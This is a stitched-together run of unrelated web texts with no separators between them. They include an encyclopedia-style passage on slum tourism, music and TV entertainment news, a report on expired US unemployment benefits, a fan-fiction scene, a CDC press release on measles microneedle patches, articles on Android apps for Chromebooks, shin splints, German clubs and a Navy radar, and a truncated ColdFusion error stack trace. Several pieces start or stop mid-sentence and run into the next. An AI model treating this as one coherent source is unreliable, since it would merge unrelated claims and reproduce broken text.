Prior to the release of Slumdog Millionaire in 2008, Mumbai was a slum tourist destination.[1] The concept of slum tourism has recently started to gain more attention from media and academia alike. In December 2010 the first international conference on slum tourism was held in Bristol.[7] A social network of people working in or with slum tourism has been set up.[8]
Locations [ edit ]
Slum tourism is mainly performed in urban areas of developing countries, most often named after the type of areas that are visited:
Ghetto tourism focuses on slums known as ghettoes, especially in developed countries. Ghetto tourism was first studied in 2005 by Michael Stephens in the cultural-criticism journal, PopMatters. Ghetto tourism includes all forms of entertainment — gangsta rap, video games, movies, TV, and other forms that allow consumers to traffic in the inner city without leaving home.[13][14] As Stevens says, "digital media achieves more detailed simulations of reality. The quest for thrills mutates into a desire, not just to see bigger and better explosions, but to cross class and racial boundaries and experience other lifestyles." International tourists to New York City in the 1980s led to a successful tourism boom in Harlem. By 2002, Philadelphia began offering tours of blighted inner-city neighborhoods. After Hurricane Katrina, tours were offered in flood-ravaged Lower Ninth Ward, a notoriously violent and poor section of New Orleans.[13]
Ghetto or "urban tourism" often encompasses travel to destinations made famous by direct or indirect mention by popular artists. Travel to certain parts of Detroit that include 8 Mile Road, known for the role the travel route played in the similarly titled 8 Mile film starring Eminem, or to Crenshaw Boulevard in South Central Los Angeles, a metropolitan area that inspired an entire generation of pioneering musical influence, could potentially[original research?] be included as urban tourism. The Jane-Finch area of Toronto, Ontario, Canada is gaining notoriety as another area in transition.[citation needed]
Charleroi, in Belgium, is another example of this phenomenon in a developed country.[15]
Motivations [ edit ]
Signed street graffiti awaits urban tourists in Montreal.
A 2010 study by the University of Pennsylvania showed that tourists in Mumbai's Dharavi slum were motivated primarily by curiosity, as opposed to several competing push factors such as social comparison, entertainment, education, or self-actualization. In addition, the study found that most slum residents were ambivalent about the tours, while the majority of tourists reported positive feelings during the tour, with interest and intrigue as the most commonly cited feelings.[1] Many tourists often come to the slums to put their life in perspective.[1]
Criticism [ edit ]
Slum tourism has been the subject of much controversy, with critics labelling the voyeuristic aspects of slum tourism as poverty porn. Both critiques and defenses of the practice have been made in the editorial pages of prominent newspapers, such as the New York Times, Wall Street Journal, London Times, and others. A primary accusation that the advocates against slum tourism make is that it "turns poverty into entertainment, something that can be momentarily experienced and then escaped from". Kennedy Odede, a Kenyan, wrote in the New York Times Op-Ed section, "They get photos; we lose a piece of our dignity."[16] Similar critics call the tours voyeuristic and exploitative.[17] Slum tourism critics have also cited the fact that Christmas and Valentine's Day as common times for slum tourism further supporting the belief that Westerners often visit slums just to "feel better about themselves" during those holidays when most people are with families and significant others.[18]
The tours provide employment and income for tour guides from the slums, an opportunity for craft-workers to sell souvenirs, and may invest back in the community with profit that is earned.[17] Similarly, the argument has been raised that well-off tourists may be more motivated to help as a result.[19]
In 2013 controversy arose when a company called "Real Bronx Tours" was discovered offering tours of The Bronx, North America, advertised as "a ride through a real New York City 'ghetto'...[the borough] was notorious for drugs, gangs, crime and murders". Borough President Ruben Diaz Jr. and councilwoman Melissa Mark-Viverito condemned the tours stating "Using the Bronx to sell a so-called 'ghetto' experience to tourists is completely unacceptable and the highest insult to the communities we represent." The tours were soon discontinued.[20]
See also [ edit ]The bad news: Frank Ocean has canceled his headlining set at Sasquatch! Festival, set to take place May 26 at the Gorge Amphitheatre in George, Washington. The cancellation is “due to production delays beyond his control.” The good news: He's being replaced by LCD Soundsystem. Representatives for WayHome, Northside, Flow, and Way Out West festivals tell Pitchfork that Frank is still scheduled to perform at their respective events, but there is no word yet on Frank's other scheduled festival appearances, including Panorama Festival, Primavera Sound, and FYF. Frank's first performance, at Hangout Festival in Alabama on May 19, still appears to be on.
Below, read LCD Soundsystem’s Al Doyle’s comments about the band’s appearance at Sasquatch! Fest.
These are Frank's first dates since the release of Blonde and Endless. Frank has fed his fans a relatively steady stream of new music recently, appearing alongside Migos on Calvin Harris’ “Slide” and dropping a series of new tracks: “Chanel,” “Biking” featuring Jay Z and Tyler, the Creator, and “Lens.”
Frank Ocean:
05-19-21 Gulf Shores, AL - Hangout Music Festival
05-26-28 George, WA - Sasquatch! Music Festival
05-31-06-04 Barcelona, Spain - Primavera Sound
06-09 Aarhus, Denmark - NorthSide Festival
06-10-11 Manchester, England - Parklife Festival
07-14 London, England - Lovebox Festival
07-22 Los Angeles, CA - FYF Festival
07-28 Randall’s Island, NY - Panorama Festival
07-28-30 Oro-Medonte, Ontario - WayHome Music and Arts Festival
08-10-12 Gothenburg, Sweden - Way Out West
08-11-13 Helsinki, Finland - Flow Festival
Watch the music video for “Nikes” below:A broadcasting industry source reported that SBS’s “Running Man” is planning an epic episode for Gary’s departure, airing on November 6.
“All the members have been together since the first year, but now one is leaving,” the source said. “Rather than inviting a guest who may not feel the event as strongly, it will be a time for just the members to be together. Since it is impossible to make a clean break with a long-time member like Gary, the missions for the final episode will be as messy and difficult as our feelings. Therefore, the episode is called ‘The Messy Special.'”
In the seven years that Gary has been on the show, “Running Man” has calculated that the members have run a total combined distance of 77,000 km (almost 48,000 miles). Many of Gary’s missions on his final episode will be related to the number “77,000,” while the other members will prepare a surprise for Gary with each mission.
The source said, “We cannot reveal exact details, but it was our first time seeing Gary cry like that.”
You can still catch Gary in the last episode of “Running Man” below!
Link to video: www.viki.com/videos/1111812v-running-man-my-avatar-can-episode-323
Source (1)WASHINGTON -- Lawmakers are almost getting somewhere on restoring unemployment insurance to the 1.3 million workers whose benefits lapsed last month. Sort of.
Sen. Jack Reed (D-R.I.) told reporters Friday that he's been talking to a handful of Senate Republicans during this week's congressional recess about how to pay for the benefits in a way that would make them happy.
"We've made significant movement in terms of trying to address the biggest concerns a significant number of Republicans have had," Reed said, mentioning Republican Sens. Dean Heller (Nev.), Susan Collins (Maine) and Rob Portman (Ohio).
"I don't want to presume we've got a solution but we're working awfully hard to get one," Reed said. "We're looking at different approaches."
Moderate Senate Republicans have said they'd like to preserve federal unemployment insurance for workers who run out of state benefits, but only if the cost of the federal program is offset with cuts to other parts of the budget. Last week Democrats put together a bill to keep the long-term benefits for 11 months, but Republicans voted against it because they didn't like the offsets Democrats had chosen.
Then everybody left town for a week.
At the end of December federal benefits had abruptly ended for 1.3 million Americans. Each ensuing week another 70,000 workers have reached the end of state benefits, bring the total to 1.6 million. Since 2008, Congress has provided additional weeks of benefits for workers who cross the six-month unemployment mark -- as Congress has done in previous recessions. Democrats say it's too soon to drop the extra compensation, but Republicans aren't so sure.
In December the average duration of unemployment stood at 37.1 weeks, with the median at 17.1 weeks, according to the Labor Department. Nearly 4 million workers have been jobless 26 weeks or longer.
One of them is Shannon Gaiser of Butler, Pa., who lost her job as a substance abuse counselor last May. Back in December she pressed the issue with her congressman, Rep. Michael Kelly (R-Pa.), and got a form letter response explaining his position.
"Given the most recent unemployment rate of 7 percent, the lowest level in 5 years, temporary emergency benefits for the long-term unemployed would not be authorized, even if Congress did extend the program for an additional year," the letter said. (Federal unemployment programs provide fewer weeks of benefits as jobless rates decline, but extra weeks would still be available in Pennsylvania.)
"This program was intended to be a temporary response to the recession, yet it was extended or expanded 12 times since its creation," the letter continued. "I recognize that the recent recession put significant financial strain on many American families."
Gaiser, 36, didn't have high hopes lawmakers would vote to save the benefits before their December recess, so she and her husband, an out-of-work machinist, planned ahead.
"I knew that they may not vote it in so I had been saving and doing what I could to so at least most of our bills were covered in January," Gaiser said. "[I was] hoping they would come back and do some kind of short-term extension."
They didn't. With a 2-year-old and another baby on the way, Gaiser said she cashed out her 401(k) retirement plan, which she said yielded about $8,000 after taxes and penalties. She hopes it's enough money to last until one of them finds work.FILE - In this July 7, 2016, file photo, Chicago Cubs' Kris Bryant scores on a single hit by Ben Zobrist during the eighth inning of a baseball game against the Atlanta Braves, in Chicago. Bryant is back. Same for Anthony Rizzo and Jon Lester, too
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a row, long time MVP of team SPHR, I give you…”
Crushed by boulders, the scorpions on both sides were almost instantly neutralised by giant hands crudely shaped with earth. Rubbing his forehead, Saphir gazed up at the giant structure left protruding from the battlefield.
“Ceresia.”
“Yes?” With a bright smile, Ceresia hopped off the golem’s shoulder to regroup. “What praise do you have for me? I know I’m getting better at summoning this giant thing, right?”
“…A little more warning would be good next time.”
“Goddamn Ceresia always kill stealing!” Pouting childishly, Puria pulled a face and crossed her arms. “It’s not fair, you’re not even part of this team, hmph!”
“Oh come on, you can’t deny The Rock’s pretty effective. I’m just taking advantage of the situation.”
“…I’ll give it to you, it does look like fun.” Puria uncrossed her arms and smiled, throwing her weight onto Ceresia’s back.
“…mmhmm.” Puffing out her chest with pride, Ceresia finally dismissed the tower of boulders. “Hey, where’d Rosea go?”
“Oh, I’m just…taking advantage of the situation.”
With a sly smile, Rosea tucked herself closer into Saphir’s arms.
“Time’s up princess, stand up and let’s get going.” Saphir ignored her teasing, gently placed his teammate on her feet. Peering through the gaps in the hallway wall, he led his team’s advance once more.
-Meanwhile in the second floor of the Beacon Academy, 10:47 AM-
Epli Stardream stood among the fragmented weapons and decorations. The only thing standing between her and the headmaster were the double doors barely a meter behind her. With a steady gaze, she prepared for combat.
“If you know what’s best for you, young lady…” Epli began with a stern voice. “...you’ll stop your advance, and tell me what is it that you’re doing here. State your business before talking to our headmaster.”
There was no response, but the figure slowly turned around.
A young female stared back at her. Clad in a black skin-tight bodysuit, with yellow extensions to her clothes resembling butterfly wings. She blinked her amber eyes and smiled slyly. It put the professor off. It was a smile that she could not call sinister, yet she could only feel an air of uneasiness when faced with this adversary.
“So glad you’re here, Miss Epli Stardream.”This website is archived for historical purposes and is no longer being maintained or updated.
Press Release For Immediate Release: Monday, April 27, 2015
Contact: Media Relations
(404) 639-3286
Administering measles vaccine with a microneedle patch is expected to be much easier than getting a shot.
Photo Credit: Gary Meek, Georgia Tech The 100 microneedle patches in the foreground could replace the 100 needles and syringes, 10 ten-dose vials of measles vaccine with diluent, a biohazards box for sharps waste disposal, and a refrigerator for cold chain storage shown in the background.
Photo Credit: Gary Meek, Georgia Tech
A new microneedle patch being developed by the Georgia Institute of Technology and the Centers for Disease Control and Prevention (CDC) could make it easier to vaccinate people against measles and other vaccine-preventable diseases.
The microneedle patch is designed to be administered by minimally trained workers and to simplify storage, distribution, and disposal compared with conventional vaccines.
The microneedle patch under development measures about a square centimeter and is administered with the press of a thumb. The underside of the patch is lined with 100 solid, conical microneedles made of polymer, sugar, and vaccine that are a fraction of a millimeter long. When the patch is applied, the microneedles press into the upper layers of the skin; they dissolve within a few minutes, releasing the vaccine. The patch can then be discarded.
“Each day, 400 children are killed by measles complications worldwide. With no needles, syringes, sterile water or sharps disposals needed, the microneedle patch offers great hope of a new tool to reach the world’s children faster, even in the most remote areas,” said James Goodson, Ph.D., epidemiologist from the CDC’s Global Immunization Division. “This advancement would be a major boost in our efforts to eliminate this disease, with more vaccines administered and more lives saved at less cost.
Getting the measles vaccine to remote areas is expected to be easier because the patch is more stable at varying temperatures than the currently available vaccines and takes up less space than the standard vaccine. Because microneedles dissolve in the skin, there is no disposal of needles, reducing the risk of accidental needlesticks. The measles patch is expected be manufactured at a cost comparable to the currently available needle and syringe vaccine.
Twenty million people are affected by measles each year. Unfortunately, global coverage with the measles vaccine has been stagnant for the last few years at around 85 percent, which is well below the coverage of up to 95 percent needed to interrupt transmission of the disease.
Because measles is vaccine-preventable and the measles virus survives only in human hosts, the world’s health officials are aiming for measles elimination. Having a simple patch administered by minimally trained vaccinators could help increase vaccination coverage and achieve the goal of measles elimination.
Georgia Tech and CDC’s Global Immunization Division and Division of Viral Diseases recently completed a study that showed the new microneedle patch produces a strong immune response in rhesus macaques. No adverse effects or health issues were noted during the study. These findings have cleared the way for developing proposals for human clinical trials, which could begin as early as 2017.
“We think this collaboration with CDC is an excellent example of how advances in engineering can be used to address important public health problems,” said Mark Prausnitz of Georgia Institute of Technology, who served as one of the principal investigators on the study.
World Immunization Week, celebrated in the last week of April each year, aims to promote the use of vaccines to protect people of all ages against disease. This year’s campaign focuses on closing the immunization gap and reaching equity in immunization levels as outlined in the Global Vaccine Action Plan (GVAP). The Plan, endorsed by the 194 Member States of the World Health Assembly in May 2012, is the framework to prevent millions of deaths by 2020 through universal access to vaccines for people in all communities.
The GVAP aims to:
strengthen routine immunization to meet vaccination coverage targets;
accelerate control of vaccine-preventable diseases with polio eradication as the first milestone;
eliminate measles and rubella;
introduce new and improved vaccines; and
spur research and development for the next generation of vaccines and technologies.
Microneedle technology could move the GVAP forward by leading to improved protection against other diseases, including polio, influenza, rotavirus, rubella, tuberculosis and others. CDC is also collaborating with Georgia Tech to see if microneedles could be used to administer inactivated polio vaccine. Additional research is studying microneedle-administration of the influenza, rotavirus and tuberculosis vaccines. For more information about microneedle technology please visit http://youtu.be/wVEF1ckaYEY.
About Georgia Tech
The Georgia Institute of Technology is a leading research university committed to improving the human condition through advanced science and technology. Ranked as the #7 best U.S. public university, Georgia Tech provides a focused, technologically based education to more than 21,500 undergraduate and graduate students. As a leading technological university, Georgia Tech has more than 100 centers focused on interdisciplinary research that consistently contribute vital research and innovation to government, industry, and business. For more information, please visit www.gatech.edu.
John Toon [email protected]
404-894-6986
About the CDC
CDC works 24/7 saving lives and protecting people from health threats to have a more secure nation. Whether these threats are chronic or acute, manmade or natural, human error or deliberate attack, global or domestic, CDC is the U.S. health protection agency. CDC’s Global Immunization Division (GID) is involved in one of the most effective of all global public health missions – vaccination against deadly diseases – which saves the lives of 2 to 3 million people every year. GID works closely with a wide variety of partners to protect global citizens against contagious and life-threatening vaccine-preventable diseases.
CDC News Media Branch, [email protected]
(404) 639-3286
For more information see http://www.cdc.gov/globalhealth/immunization/
###
U.S. DEPARTMENT OF HEALTH AND HUMAN SERVICESA few months ago at Google I/O, Google demoed Android apps running on Chrome OS. Today, Google is making that demo a reality by launching " App Runtime for Chrome (Beta)."
Google is not opening the floodgates and loading a full Play Store with every Chromebook; instead, it is manually bringing over certain apps. "Over the coming months, we’ll be working with a select group of Android developers to add more of your favorite apps so you’ll have a more seamless experience across your Android phone and Chromebook," the company said in its announcement.
For now, the feature is launching with four compatible apps: Duolingo, Evernote, Sight Words, and Vine. One app not mentioned was Flipboard, which was demoed at I/O.
We were curious about just how this worked, so we got some more details from a Google spokesperson:
The app code is all running on top of the Chrome platform, specifically inside of Native Client. In this way the ARC (App Runtime for Chrome) apps run in the same environment as other apps you can download from the Chrome Web Store, even though they are written on top of standard Android APIs. The developers do not need to port or modify their code, though they often choose to improve it to work well with the Chromebook form factor (keyboard, touchpad, optional touchscreen, etc).
There is no porting required. It seems that Google has built an entire Android stack into Chrome OS using Native Client. Both OSes are based on Linux, making libraries, the app framework, and the Android runtime the big differences. We wonder if it's using Dalvik or ART.
Android apps show up in the launcher just like any other Chrome app, and apps are downloaded from the Chrome Web Store. Portability like this has always been one of the benefits of writing to a virtual machine, and now it seems Google is really starting to take advantage of it.by Get updates of new posts here
In this article, you’ll learn how to prevent shin splints – even though it’s a tricky injury to treat.
For a coach, shin splints are the most frustrating injury because there’s no definitive cause, treatment, or method of prevention.
I previously suffered from shin splints for months so I know how debilitating they can be.
If you have never had shin splints or are unfamiliar with them, consider yourself lucky! Pain from shin splints can be felt in both the front, outer (anterior) portion of your shin, or on the medial portion on the inner side of your leg. Medial shin splints are far more common.
Pain can progress from a mild ache felt only when running to a throbbing, burning pain that is noticeable even at rest.
The worst part? The most common shin splint treatment – what most runners think works – is completely ineffective.
Many runners assume that they need to strengthen their shin muscle, typically the tibialis anterior. Exercise bands are commonly used for this, but in reality trying to strengthen the shin muscle is a waste of time.
This treatment strategy is a myth because the role of the tibialis anterior isn’t shock absorption. Instead, it assists in ankle dorsiflexion, meaning it helps you flex your toes back towards your knee. So strengthening your tibialis anterior may make you better at dorsiflexion, but it won’t make your shin splints go away!
It’s time to let go of the notion that you have shin splints because your shin muscle is weak. You probably have shin splints from training mistakes or other external factors that can be fixed with a better structured training program.
I invited Mike Young to share his expertise on how runners can prevent shin splints with the SR audience today. Mike has a BS in Exercise Physiology, an MS in Coaching Science, and a PhD in Biomechanics. He also has certifications from the National Strength & Conditioning Association, USA Track & Field, and USA Weightlifting.
Mike is also the founder and Director of Sport Performance for Athletic Lab where he serves as the strength and speed coach and the main biomechanist for the facility.
As a world-renowned expert in speed and strength development – and someone who has worked extensively with professional athletes – I’m particularly interested in Mike’s thoughts on the murky prevention and treatment protocols for shin splints.
Shin Splints: What Causes them?
If weak shin muscles don’t cause shin splints, what does? It might surprise some runners to learn that the shin bone (or Tibia) actually bends during the stance phase of the running gait. Just like a mighty oak tree sways in the wind, your bones are meant to absorb impact and the best way to do that is to bend slightly.
In healthy runners, this poses no problems at all. In fact, this process makes the shins stronger and better able to withstand heavy training, which is the primary reason that shin splints usually affect beginner runners rather than veterans.
With extra impact forces on the tibia from running, new runners should actively work to reduce those impact forces. One of the best ways to do that is to increase cadence (or step rate) to at least 170 steps per minute, but ideally closer to 180. This one simple form upgrade reduces over-striding, aggressive heel-striking, and reduces impact on the tibia.
For more on how to run properly, check out this in-depth guide to running form here.
Instead of directly focusing on the shin muscles, it’s more productive to address the way you train. Mike has this to say:
There are four top causes for shin splits. The first is changing shoe types, where I most frequently see shin splints occur when transitioning to ‘competition’ shoes, whether spikes or flats. The next problem is failing to change shoes when necessary. Sometimes people wear their shoes well beyond their life cycle which can lead to problems. Next is running surfaces: I’ve found grass and trails can be useful both because they are so much softer but also the fact that they are irregular is likely to reduce the likelihood of overuse injuries. Finally, I’ve seen people get shin splits when mileage or intensity increase dramatically. The body simply doesn’t have time to adapt to the greater training load and the weakest link is the first to break… for many people that’s the shins. One of the most overlooked ways that intensity increases is downhill running. Downhill running dramatically increases the impact forces at contact.
As any runner with shin splints intimately knows, running through this injury can be excruciating. It’s critical to know how to differentiate between “normal” soreness and a potential stress fracture or exertional compartment syndrome – both of which are serious injuries.
Mike explains that after about a day, “normal” soreness should progressively improve. But there are outliers:
With more chronic soreness the pain often subsides much more slowly. This is especially true with shin splints which are inflammatory in nature. Other than perhaps in very beginners, pain in the shins is not a normal outcome of running and certainly not to be considered the same as muscle soreness from a hard training session.
If you’re a beginner or just getting back to running after time off, it’s critical to manage shin pain early, aggressively, and thoughtfully. Successful treatment strategies will be those that address the cause of the injury.
Want to show your friends how to prevent shin splints? Click here to tweet this post!
How to Treat & Prevent Shin Splints
Now that we understand the many causes of the injury, we can outline a simple framework for how to prevent shin splints:
Change shoe types from cushioned to minimalist trainers or racing flats gradually and carefully.
Don’t run in old shoes! (you can check out all of SR’s running shoe reviews here)
Vary your running surfaces and include softer surfaces whenever possible. These include dirt trails, cinder walking paths, grass, and even technical trails.
Mileage, intensity (fast running), and even downhill running should all be increased slowly over months and years – not days and weeks
These prevention strategies are also helpful for treatment. If you currently suffer from shin splints, you can simply adopt these updates to your training and should start seeing results in a few days or weeks. Remember that a reduction in mileage and intensity is also needed if your shin splints are moderate to severe.
But even with these training upgrades, Mike concedes that there are no quick fixes:
The standard rest and ice do seem to help…at least with pain reduction. NSAIDs can help with pain but those might be a short term gain for a long term loss as NSAIDs may disrupt the healing process. In some athletes I’ve had success with soft tissue release either manually via foam rolling or through a therapist of the shin bones and feet although results are inconsistent.
I want to strongly agree that NSAIDs can help with pain (ibuprofen, for example, is very effective at pain management) but several studies indicate they blunt the body’s natural healing and recovery mechanisms. It’s more effective to ice for 15 minutes after running, using an ice cup, instead of taking medication.
Additionally, I’ll add that strengthening the hip abductors can be an effective shin splint treatment in addition to these training changes. Researchers from Belgium published a recent study indicating that those with weak hip abductors were more likely to suffer from shin splints.
My Injury Prevention for Runners clients know that hip strength is vital for the prevention of many running injuries from Patellofemoral Pain Syndrome to IT Band Syndrome – and the exercises in the program focus on hip strength as a foundational prevention measure.
Well-Rounded Shin Splint Prevention
As long-time Strength Running readers know, I take a well-rounded approach to injury prevention. Whenever a coach offers one quick fix for an injury, you should know it’s likely ineffective.
Instead, focus on three core components of prevention to be more successful:
Improved running form
Runner-specific strength exercises
Smarter training (how to increase mileage and intensity, pattern workouts during the week, lifestyle changes, and variety)
There are no quick fixes with running, but there are easy to implement strategies that work extremely well in the long-term. You can see examples of runners whom I’ve helped get healthy who thought they were destined to be on the hamster wheel of injuries forever.
But more importantly, understand that preventing shin splints requires multiple changes to how you run. You likely won’t see significant relief if you only update your running shoes or start running more trails.
A well-rounded approach to injury prevention includes a more systematic, step-by-step way of staying healthy. And not only is it more effective, but a nice side effect is that you’ll become a much more consistent runner who’s probably a lot faster!
I cover many of these step-by-step strategies in my free email course on injury prevention, which you can get here.
Thanks again to Mike Young for contributing to this article! And good luck with your shin splints!It's a regular weekday evening at the bowling alley in Köpenick, a leafy district in the south-east of Berlin.
Dressed in matching shirts, a local team has occupied four of the 16 lanes. A group of women play in the lane opposite, next to a father practising with his children. The noise of crashing pins blends with a steady stream of chatter and the occasional plop of beer bottles being opened.
For the players, the Kegelverein — bowling club — is little more than a pleasant place to unwind. For analysts keen to understand what makes Germany tick, however, it holds much deeper meaning — and a possible clue to the secret of the nation’s consensual style of politics, on display again in campaigning for this month’s election.
The Köpenick Kegelverein is part of a vast tapestry of clubs and associations that dominate social life in Germany. The country's 600,000-odd Vereine — the number is growing every year — bring together millions of citizens for a variety of pursuits, in an organised, rules-based manner.
Some Vereine are dedicated to sports, others to cultural activities, some are conservative, others bizarre. There are clubs for dog owners, rabbit breeders and stamp collectors, for small people and tall people, for admirers of Marcel Proust and fans of Elvis Presley.
The clubs allow people to practice the rules of democracy on a smaller stage... even the sports club has a political function
“The world of the Vereine is still flourishing,” says Joost Schoemer, president of the BDVV, the umbrella organisation for clubs. “People like getting together, people like the sense of community, and they like getting organised. It’s just a typical German thing.”
Despite the solitary allure of computer games and blockbuster television series, one in two Germans belongs to at least one club. The number has risen steadily, from 417,000 in 1995 to 603,000 last year. In Berlin alone, two new Vereine are registered every day.
The level of activity is striking, not least when set against other European countries. According to Eurostat, almost 30 per cent of Germans say they participate in “formal voluntary activities”, compared to 20 per cent across the EU. In southern countries such as Spain and Italy, the share is little more than 10 per cent.
“In Germany, we don’t see a retreat into the private,” says Anaël Labigne, a Berlin-based expert on civil society at the Stifterverband, a joint research and education initiative by German companies and foundations.
Analysts say the role of Germany’s clubs extends far beyond organising the nation’s social life. The Vereine function like “schools of democracy”, they argue, teaching members how to progress collectively, resolve internal disputes and accept the will of the majority, and helping soften social conflicts by bringing together people from different walks of life.
According to Mr Schoemer, Vereine preach the value of consensus, and show that “as long as you abide by the rules, everyone is welcome”.
Germany has been largely spared the bitter political and social rifts that have haunted other western countries. The country will hold a general election two weeks from now, after a remarkably placid campaign. Most likely, the next government will be another broad-based coalition much like the left-right alliance that has governed Germany for the past four years.
Analysts caution that the origins of Germany’s consensual politics are complex and varied, but argue thatthe clubs have at least a strong supporting role.
“The Vereine allow people to practise the rules of democracy on a smaller stage” and help “smooth the edges” of members holding extreme positions, says Eckhard Priller, co-director of research at the Munich-based Maecenata Institute. “You elect a president, you have to stick to the rules, you have the right to give your opinion but in the end the majority decides. In that sense, even the sports club has a political function.”
Robert Putnam, a US sociologist, highlighted the crucial social role played by clubs in his 2000 book Bowling Alone. He bemoaned the decline of “social capital” in the US, evidenced by the fall in membership of political parties, trade unions and volunteer groups and of organised leisure activities such as bowling leagues.
Part of that decline is mirrored in Germany: unions, churches and political parties have all shed members in recent years. But the Vereine are still buoyant. One growth area in the wake of Germany’s 2015 refugee crisis are clubs that help integrate new migrants. So-called Fördervereine, or support clubs, which fund and back schools, theatres, orchestras and other institutions, are also booming, says Mr Labigne.
Back in Köpenick, Frank Ziegler can look back on more than 40 years as a volunteer in the Kegelverein world. He currently serves as president of the Berliner Sportkeglerverein, which brings together dozens of smaller clubs. This means two hours of unpaid work a day, but “someone has to do it”, he says.
For Mr Ziegler, the Verein is a place to make friends and experience “community”. The key to a successful club, however, is commitment.
There are bowling clubs in Berlin, he says, where you show up every Monday at a quarter past two, no matter what. “The only excuse that is acceptable,” Mr Ziegler adds, “is your own death.”
Letter in response to this article:
Clubs’ popularity reflects greater civic cohesion / From Omar Daair
Copyright The Financial Times Limited. All rights reserved. Please don't copy articles from FT.com and redistribute by email or post to the web.The Raytheon-built Air and Missile Defense Radar (AMDR) has successfully completed its Navy critical design review (CDR) ahead of more hardware development efforts later this summer, company officials told USNI News this week.
According to the company, the AMDR — now designated AN/SPY-6(v) — passed or exceeded technical performance measures in tests allowing the company to proceed to the next phases of the design and building effort of the radar.
“We have achieved or exceeded all of those technical performance measures,” Tad Dickenson Raytheon’s program manager for AMDR told USNI News this week.
“The basic report card is that we have more than 20 technical performance measures which are anything from simple things — like size weight and power — to more complex things — like jammer suppression or single pulse sensitivity.”
The company had completed the preliminary design review (PDR) for the radar last year.
The AMDR will be the new active electronically scanned array (AESA)S-band radar onboard the Arleigh Burke Flight III guided missile destroyers (DDG-51). The first of the ships will start construction in Fiscal Year 2016 as part of a ten ship multi-year procurement deal the service inked in 2013.
Raytheon is also building a radar suite controller and the Navy will use the Northrop Grumman AN/SPQ-9B (nicknamed: spook 9 Bee) as the X-band radar for the Flight IIIs for now.
The radar promise to provide a 30-times boost in sensitivity over the current Lockheed Martin AV/SPY-1D radars found on current Burkes, the Navy has said.
Raytheon is currently working on an engineering development model ahead of a full radar delivery in May of 2017 to meet the construction schedule of the new Flight IIIs.struct
Cause struct Detail Valid variable names must start with a letter and can only contain letter, numbers, and underscores. ErrNumber 0 Message The string url.1 is not a valid ColdFusion variable name. StackTrace coldfusion.runtime.NeoPageContext$InvalidVariableNameException: The string url.1 is not a valid ColdFusion variable name. at coldfusion.runtime.NeoPageContext.SymTab_validateName(NeoPageContext.java:1515) at coldfusion.runtime.NeoPageContext.setAttribute(NeoPageContext.java:433) at coldfusion.runtime.NeoPageContext.setAttribute(NeoPageContext.java:427) at coldfusion.runtime.CfJspPage._set(CfJspPage.java:421) at cfPortcullis2ecfc2088727880$funcSCAN.runFunction(D:\WebContent\BioedOnlineRedesign_Production\requirements\mura\Portcullis.cfc:127) at coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:472) at coldfusion.filter.SilentFilter.invoke(SilentFilter.java:47) at coldfusion.runtime.UDFMethod$ReturnTypeFilter.invoke(UDFMethod.java:405) at coldfusion.runtime.UDFMethod$ArgumentCollectionFilter.invoke(UDFMethod.java:368) at coldfusion.filter.FunctionAccessFilter.invoke(FunctionAccessFilter.java:55) at coldfusion.runtime.UDFMethod.runFilterChain(UDFMethod.java:321) at coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:220) at coldfusion.runtime.TemplateProxy.invoke(TemplateProxy.java:491) at coldfusion.runtime.TemplateProxy.invoke(TemplateProxy.java:337) at coldfusion.runtime.CfJspPage._invoke(CfJspPage.java:2360) at cfscriptProtect_include2ecfm1326099910.runPage(D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\scriptProtect_include.cfm:5) at coldfusion.runtime.CfJspPage.invoke(CfJspPage.java:231) at coldfusion.tagext.lang.IncludeTag.doStartTag(IncludeTag.java:416) at coldfusion.runtime.CfJspPage._emptyTcfTag(CfJspPage.java:2722) at cfonRequestStart_scriptProtect_method2ecfm773177258$funcONREQUESTSTART.runFunction(D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\onRequestStart_scriptProtect_method.cfm:50) at coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:472) at coldfusion.filter.SilentFilter.invoke(SilentFilter.java:47) at coldfusion.runtime.UDFMethod$ReturnTypeFilter.invoke(UDFMethod.java:405) at coldfusion.runtime.UDFMethod$ArgumentCollectionFilter.invoke(UDFMethod.java:368) at coldfusion.filter.FunctionAccessFilter.invoke(FunctionAccessFilter.java:55) at coldfusion.runtime.UDFMethod.runFilterChain(UDFMethod.java:321) at coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:220) at coldfusion.runtime.CfJspPage._invokeUDF(CfJspPage.java:2582) at cfonMissingTemplate_include2ecfm368542900.runPage(D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\onMissingTemplate_include.cfm:64) at coldfusion.runtime.CfJspPage.invoke(CfJspPage.java:231) at coldfusion.tagext.lang.IncludeTag.doStartTag(IncludeTag.java:416) at coldfusion.runtime.CfJspPage._emptyTcfTag(CfJspPage.java:2722) at cfonMissingTemplate_method2ecfm386368301$funcONMISSINGTEMPLATE.runFunction(D:\WebContent\BioedOnlineRedesign_Production\config\appcfc\onMissingTemplate_method.cfm:50) at coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:472) at coldfusion.runtime.UDFMethod$ReturnTypeFilter.invoke(UDFMethod.java:405) at coldfusion.runtime.UDFMethod$ArgumentCollectionFilter.invoke(UDFMethod.java:368) at coldfusion.filter.FunctionAccessFilter.invoke(FunctionAccessFilter.java:55) at coldfusion.runtime.UDFMethod.runFilterChain(UDFMethod.java:321) at coldfusion.runtime.UDFMethod.invoke(UDFMethod.java:220) at coldfusion.runtime.TemplateProxy.invoke(TemplateProxy.java:491) at coldfusion.runtime.TemplateProxy.invoke(TemplateProxy.java:337) at coldfusion.runtime.AppEventInvoker.invokeMissingTemplate(AppEventInvoker.java:162) at coldfusion.runtime.AppEventInvoker.onMissingTemplate(AppEventInvoker.java:348) at coldfusion.filter.ApplicationFilter.invoke(ApplicationFilter.java:317) at coldfusion.filter.RequestMonitorFilter.invoke(RequestMonitorFilter.java:48) at coldfusion.filter.MonitoringFilter.invoke(MonitoringFilter.java:40) at coldfusion.filter.PathFilter.invoke(PathFilter.java:94) at coldfusion.filter.ExceptionFilter.invoke(ExceptionFilter.java:70) at coldfusion.filter.BrowserDebugFilter.invoke(BrowserDebugFilter.java:79) at coldfusion.filter.ClientScopePersistenceFilter.invoke(ClientScopePersistenceFilter.java:28) at coldfusion.filter.BrowserFilter.invoke(BrowserFilter.java:38) at coldfusion.filter.NoCacheFilter.invoke(NoCacheFilter.java:46) at coldfusion.filter.GlobalsFilter.invoke(GlobalsFilter.java:38) at 